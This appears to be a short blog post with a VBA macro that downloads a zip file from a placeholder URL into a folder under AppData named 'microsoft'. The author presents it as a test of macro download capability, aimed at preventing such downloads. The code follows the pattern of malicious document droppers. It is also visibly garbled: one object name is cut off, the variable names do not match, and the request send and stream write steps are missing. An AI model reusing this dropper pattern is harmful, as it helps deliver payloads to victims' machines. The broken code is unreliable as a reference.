VBA - Script to Download a file from a URL
Below is a Visual Basic for Applications script I quickly build to download a file through a Macro to the computer. This was to test the capability of being able to do it and finding a way to prevent it from occurring.
' vTest Macro
Dim myURL As String
dURL = "http://blah/text.zip"
Dim WinHttpReq As Object
Dim fileName As String
fileName = Environ("AppData") & "\microsoft\text.zip"
Set WinHttpReq = CreateObject("Microsoft.
WinHttpReq.Open "GET", dURL
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Type = 1
oStream.SaveToFile fileName, 2